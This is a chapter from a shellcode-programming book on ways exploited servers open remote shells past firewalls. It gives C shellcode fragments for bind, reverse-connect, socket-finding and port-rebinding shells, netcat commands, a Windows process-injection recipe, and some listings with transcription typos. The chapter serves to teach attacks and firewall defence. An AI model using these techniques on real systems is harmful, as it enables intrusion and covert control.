Establishing a Connection to the Remote Host

Now it is time to cover the six most popular methods of establishing TCP/IP connections to the host being attacked . Two of these techniques can be easily blocked by firewalls; the other four present a serious and practically insoluble problem.

To carry out the following experiments, the investigator needs to have the following:

  • The netcat utility, which can be easily found on the Internet and which every self-respecting administrator must have close at hand

  • LAN made up of at least one computer

  • A firewall of your choice

  • An operating system such as Windows 2000 or later (all technologies described here work excellently with UNIX; however, the source code of the demo examples are oriented toward Windows)

Bind Exploit, or "Childish Attack"

The idea of opening a new port at the server being attacked (Fig. 24.1) may come to the mind of a hacking beginner with no practical experience in the field of socket programming. Only a beginner might resort to this method, because only a beginner doesn't imagine how unviable and vulnerable it is. Nevertheless, most worms propagate in this way, so it makes sense to consider it in detail.

image from book
Figure 24.1: The attacker sends the shellcode to the vulnerable server, where the shellcode opens the new port N, to which the attacker will then connect, provided that no firewalls are encountered along the connection router

Software implementation of the server part of the shellcode is trivial, and in its canonical form is made up of the following sequence of system calls: socket, bind, listen, and accept. These are organized approximately as shown in Listing 24.1.

Listing 24.1: Key fragment of the shellcode that opens a new port at the server being attacked
image from book
 #define HACKERS_PORT       666   // Port, to which the exploit will listen // Step 1: Create a socket. if ((lsocket  =  socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // Step 2: Bind the socket to the local address. laddr.sin_family           = AF_INET; laddr.sin_port             = htons(HACKERS_PORT); laddr.sin_addr.s_addr      = INADDR_ANY; if (bind(lsocket, (struct sockaddr*) &laddr, sizeof(laddr))) return -1; // Step 3: Listen to the socket. if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n"); // Step 4: Process all incoming connections. csocket  =  accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)); ... sshell(csocket[0], MAX_BUF_SIZE); // Remote shell ... // Step 5: Clear evidence of malicious activities closesocket(lsocket); 
image from book
 

The full source code is in the image from book  bind.c file on the CD-ROM supplied with this book. If the compiled version of this exploit, image from book  bind.exe , is started at the target host, it corresponds to the stage of sending the shellcode that overflows the buffer and captures control. Before undertaking the attack, the hacker must convert the source code into a binary code of the worm's head.

Now, having moved to the attacking host, the attacker enters from the command line netcat target address 666 or telnet target address 666.

If the operation was completed successfully, the telnet client window displays the standard prompt of the command interpreter (by default, this will be cmd.exe). Thus, the hackers obtain a functional shell allowing them to start various console applications at the target host.

After playing with the remote shell (which will be covered in detail later), the hacker must make sure that it provides the following capabilities:

  • The netstat utility started with the -a command-line option (or any similar utility) "sees" an illegal port opened by the shellcode.

  • Provided that the firewall is configured correctly (Fig. 24.2), any attempts at connecting to the shellcode from outside will fail, because the firewall not only blocks incoming connections to the nonstandard port but also automatically detects the attacker's IP address (if it hasn't been hidden by an anonymous proxy).

image from book
Figure 24.2: The attacker sends the shellcode to the vulnerable server, and the shellcode opens the new port N. But the incoming connection to port N is blocked by the firewall, after which the attack fails

If the hacker's address has been detected , it only remains to visit that location and catch the hacker red-handed.

Real-world situations do not always correspond to theoretical ones. Few administrators block all unused ports and check the correspondence of ports and LAN hosts. Assume that the mail server, news server, and Web server are installed on different hosts (the typical case). Then, ports 25, 80, and 119 must be open at the firewall. Now, assume that a vulnerability has been detected at the Web server, and the shellcode attacking that server has opened port 25 for its purposes. A carelessly-configured firewall would pass all TCP/IP packets sent to port 25, no matter to which network host they might be addressed.

Check whether your firewall is configured correctly and reconfigure it, if necessary.

Reverse Exploit

Second-rate hackers try a different approach, exchanging the roles of the worm's head and tail. Now it is the head that tries to access the tail (Fig. 24.3). Most firewalls are loyal toward outgoing connections, allowing them to freely pass through the firewall. Thus, the chances of attackers increase considerably.

image from book
Figure 24.3: The attacker opens the new port N and sends the shellcode to the vulnerable server, from which the shellcode establishes a connection to the attacker's host. As a rule, such connections are not blocked by firewalls

Another advantage of this approach is that the software implementation of the worm's head is considerably simplified. The client code is reduced to two functions only ” socket and connect . However, the attacker's IP address must be hard-coded within the worm. This means that the worm must be capable of dynamically changing its shellcode, and it isn't a trivial task, considering the requirements of the shellcode. The key fragment of the software implementation of this attack is presented in Listing 24.2.

Listing 24.2: Key fragment of the shellcode that establishes an outgoing connection
image from book
 #define HACKERS_PORT                 666 #define HACKERS_IP                   "127.0.0.1" ... // Step 1: Create a socket. if ((csocket  =  socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // Step 2: Establish a connection. caddr.sin_family             = AF_INET; caddr.sin_port               = htons(HACKERS_PORT); caddr.sin_addr.s_addr        = inet_addr(HACKERS_IP); if (connect(csocket, (struct sockaddr*)&caddr, sizeof(caddr))) return -1; // Step 3: Exchange data with the socket. sshell(csocket, MAX_BUF_SIZE ); 
image from book
 

The source code of the demo example is contained in the image from book  reverse.c file. To test the scenario of this attack, it is necessary to compile the source code and then carry out the following command at the attacker's host: netcat -1 -p 666. At the host being attacked, the image from book  reverse.exe file must be started for execution. Then the IP address of the attacking host must be entered from the keyboard (in actual shellcode, as was already mentioned, this address is passed with the head of the worm).

Once again, the hacker's terminal turns into the remote shell allowing the hacker to do anything to the vulnerable host. Note that everything is clear in relation to the virus tail (the worm's head establishes a TCP/IP connection to the source node, downloads the main body of the worm, and terminates the connection after completion of this operation). Inverse access to the back door is more difficult because it is the remote shellcode, not the hacker, that initiates the connection. In theory, the shellcode can be programmed to make it periodically try to access the hacker's host to establish a connection. The interval between such attempts might range from several seconds to an hour ; however, such attempts are hard to conceal. Furthermore, to carry out this attack, the attacker needs a permanent IP, and capturing it anonymously is a difficult task.

If a vulnerable host is located in the DMZ, this represents a dedicated network segment, in which the protected LAN interconnects with an aggressive external environment. By default, public servers are installed in the DMZ. In this case, the administrator can block all outgoing connections with a clear heart, thus blocking the ways the worm can propagate and, simultaneously , allowing local users to connect to the Internet. Note, however, that the door of the DMZ is never closed permanently, and there is always a small opening intended for sending email messages, DNS requests , etc. However, an expertly-configured firewall will never pass the packet addressed to port 25 but sent from a Web server instead of an SMTP server (Fig. 24.4).

image from book
Figure 24.4: The attacker opens a new port N at the attacking host and sends the shellcode to the vulnerable server, from which the shellcode establishes a connection to the attacker's host. If the firewall is configured correctly, it ruthlessly blocks this connection

Even if outgoing messages are not blocked by the firewall, the worm will be unable to propagate efficiently , because the firewall of the attacking host is unlikely to pass the incoming connection; thus, the propagate process won't continue further than the first generation. Anyway, establishing new connections to nonstandard ports (to speak nothing about periodic inclinations toward connecting to hacker's sites) are reflected in log file, and members of a punitive expedition immediately reach the hacker.

Find Exploit

As a rule, after certain experiences, it dawns on hackers that there is no need to establish new TCP/IP connections to the attacked host. An experienced hacker would never establish new connections but would use the existing, legally established ones (Fig. 24.5).

image from book
Figure 24.5: The attacker sends the shellcode to the vulnerable server, which makes a brute-force check for the socket of the established connection, and contacts the attacking host without causing any suspicions at the firewall

In particular, it is possible to guarantee that port 80 is always opened at the public Web server; otherwise , no users from the external network would be able to work with it. Because HTTP requires a bidirectional TCP/IP connection, the attacker can freely send malicious commands to the shellcode and receive answers to these commands. In general, the algorithm of this attack appears as follows : The attacker establishes a TCP/IP connection to the vulnerable server, pretending to be a legal user peacefully surfing the Web. However, instead of a legal GET request, he or she sends malicious shellcode to the server, which causes an overflow error and captures control. The firewall, which has only a vague idea about the software implementation of the server, doesn't see anything suspicious within such a packet and allows it to pass.

The shellcode makes itself at home at the attacked server, grows roots, and calls the recv function, to which it passes the descriptor of the established TCP/IP connection, namely, the one used to send it. After that, the main body of the worm is downloaded by the head to the vulnerable server. The firewall doesn't suspect anything, and these packets also are passed and are not reflected in log files.

The problem here is that the shellcode doesn't know the descriptor of "its" connection and therefore cannot use it directly. However, at this point, the getpeername function can help, which indicates, to which address and port the connection associated to the given descriptor is established (if the descriptor is not associated to any connection, the function returns an error code). Because in both Windows 9 x /NT and UNIX the descriptors are expressed by small positive integers, testing them all within a short interval is a realistic task. After accomplishing this task, the shellcode must determine, which TCP/IP connection belongs to it. This task is trivial. Because the shellcode knows the IP address and port of the attacking host (after all, it must remember where it came from), the only action that needs to be carried out is a trivial check for the matching IP address and port.

Software implementation of the worm's head, in a slightly simplified form, might appear as shown in Listing 24.3.

Listing 24.3: Key shellcode fragment that finds the socket corresponding to "its" connection
image from book
 // Step 1: Test all socket descriptors one by one. for (a  =  0; a < MAX_SOCKET; a++) {         *buff =0;               // Clear the socket name.         // Step 2: Find the address related to this descriptor         // (if anything is related to it).         if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, (int *)         buff) != -1)         {                 // Step 3: Identify the TCP/IP connection by the port.                 if {htons(faddr.sin_port)  =  HACKERS_PORT)                                 sshell((SOCKET) a, MAX_BUF_SIZE);         } } // Step 4: Remove all traces of illegal activities. closesocket(fsocket); 
image from book
 

To model this scenario, compile the image from book  find.c demo example and issue the following command at the attacking host: netcat target_address 666 . Make sure that even the most restrictive firewall settings do not prevent the worm from propagating and carrying out its normal activities. Study all log files carefully . Do you see anything suspicious there? I didn't. Although the IP address of the attacking host is present in the log files, it is no different from the IP addresses of all other users. Thus, it is impossible to detect a hacker without viewing the contents of all TCP/IP packets. Packets sent by intruders contain the shellcode, which can be easily detected visually. However, because the server grinds several megabytes every second, viewing all packets becomes an unrealistic task. Automated searching requires a virus signature, which isn't available to anyone at the latent stage of the epidemic .

Reuse Exploit

Assume that the developers of operating systems patch that blatant error related to socket descriptors by uniformly spreading them over the entire 32-bit address state. This would make a brute-force attack at sockets inefficient, especially if the getpeername function has a built-in detector of brute-force attacks that react by slowing when such an attack has been detected. What would happen in this case? Nothing special. Experienced hackers design their worms so that they would adopt another scenario of attack, forcibly rebinding an opened port (Fig. 24.6).

image from book
Figure 24.6: The attacking server sends the shellcode to the vulnerable server. The shellcode then rebinds to the opened public port and captures all further connections (including the ones established by the attacker)

The possibility of reusing addresses is a legal capability, and provision for it wasn't made by accident . If there were no such capability, designing hierarchical network applications would be highly complicated (those who have some experience with programming server components would readily agree with this statement, and those who haven't even understand what they have avoided).

Briefly, only the owner of the opened port can bind to it (in other words, the process that has opened this port) or one of its successors, which has inherited the descriptor of the appropriate socket. Furthermore, this can happen if the socket doesn't have the SO _EXCLUSIVEVEADDRUSE flag. Then, by creating a new socket, calling the setsockopt function, and assigning the SO REUSEADDR to it, the shellcode would be able to execute the bind and listen to functions, after which all further connections to the server being attacked will be processed by the malicious shellcode instead of the server.

Software implementation of this attack is quite trivial (Listing 24.4). It differs from the image from book  bind.c exploit by a single line of code: setsockopt (rsocket, SOL_SOCKET, SO_REUSEADDR, &n_reuse, sizeof(n_reuse)). This line assigns the So _REUSEADDR attribute to the socket. However, instead of opening a port with a nonstandard number, this code captures the well-known port of the vulnerable public service without raising any suspicion at the firewall.

Listing 24.4: Key fragment of the shellcode that rebinds the opened port
image from book
 // Step 1: Create a socket. if ((rsocket  =  socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // Step 2: Assign the SO_REUSEADDR attribute to the socket.  if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , &n_reuse, 4)) return -1;  // Step 3: Bind the socket to the local address. raddr.sin_family             = AF_INET; raddr.sin_port               = htons(V_PORT);              // Vulnerable port raddr.sin_addr.s_addr        = INRDDR_ANY; if (bind(rsocket, (struct sockaddr *) &raddr, sizeof(raddr))) return -1; // Step 4: Listen. // In case of further connections to the vulnerable port, // the shellcode will gain control instead of the server code // and this port will be opened at the firewall, // because this is the port of the "legal" network service. if (listen(rsocket, 0x1)) return -1; // Step 5: Retrieve the message from the message queue. csocket  =  accept(rsocket, (struct sockaddr *) &raddr, &raddr_size); // Step 6: Exchange commands with sockets. sshell((SOCKET) csocket, MAX_BUF_SIZE); // Step 7: Clear all traces of malicious activity. closesocket(rsocket); closesocket(csocket); 
image from book
 

Having compiled the image from book  reuse.c demo example, run it at the target host and, at the attack time, execute the following command: netcat target_address 80. This command corresponds to the stage of sending the shellcode to the vulnerable server. Then, repeat the connection attempt. If it is successful, the well-known command-line prompt will appear on the terminal screen, confirming that the connection was processed by the shellcode or by the worm's head instead of the former worm's owner.

Make sure that the firewall doesn't see anything wrong with this situation and doesn't prevent unauthorized capturing of connections, no matter what their configuration might be.

Note  

Under Windows 2000 Service Pack 3, this trick doesn't always work. The system ignores the capturing of the port, and all incoming connections are processed by the original port owner. I do not know exactly how other systems behave; however, this blatant error will be corrected in further Windows versions. Anyway, if this happens, continue attempting to send the shellcode until you are lucky.

Fork Exploit

The SO_EXCLUSIVEVEADDRUSE attribute is not assigned to the sockets by default, and not all developers of server components are aware of its existence. However, if vulnerable servers become infected one after another, developers might change their position toward security and prevent unauthorized capturing of opened ports. Will this make the worms endure difficult times?

This can hardly be expected! The worm's head will simply kill the vulnerable process with all its descriptors (when closing the process, all ports that it has opened are released automatically), inserting its body into the newer process. Having achieved this, the process binds to the newly-closed port, thus gaining control over all incoming connections.

In UNIX systems, there is the excellent fork system call, which forks the current process and automatically duplicates the worm. In Windows 9x/NT, it is more difficult to carry out such an operation ” but not as difficult as it seems at first glance. One of the possible implementation methods appears approximately as follows: First, the CreateProcess function is called with the CREATE SUSPENDED flag set (creating the process and immediately lulling it to sleep). Then, the current context is extracted from the process (this is carried out by the call to the GetThreadContext function). The value of the EIP register is set to the start of the memory block allocated by the VirtualAllocEx function. The call to the SetThreadContext function updates the contents of the context, and the WriteProcessMemory function inserts the shellcode into the address space of the process. After this, the ResumeThread function wakes up the process and the shell-code starts its execution (Fig. 24.7).

image from book
Figure 24.7: The intruder sends the shellcode to the vulnerable server, which makes the server process sleep, and reopens the public port

There are no adequate countermeasures against this technique. The only way to face this threat is to avoid using vulnerable applications.

Sniffer Exploit, or Passive Scanning

If desired, the worm can capture all traffic that passes through the vulnerable host, not just the traffic addressed to the service that is the target of attack. Such passive sniffing is extremely difficult to detect. Among all methods of bypassing firewalls, this one ensures the highest level of secrecy to the worm.



Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net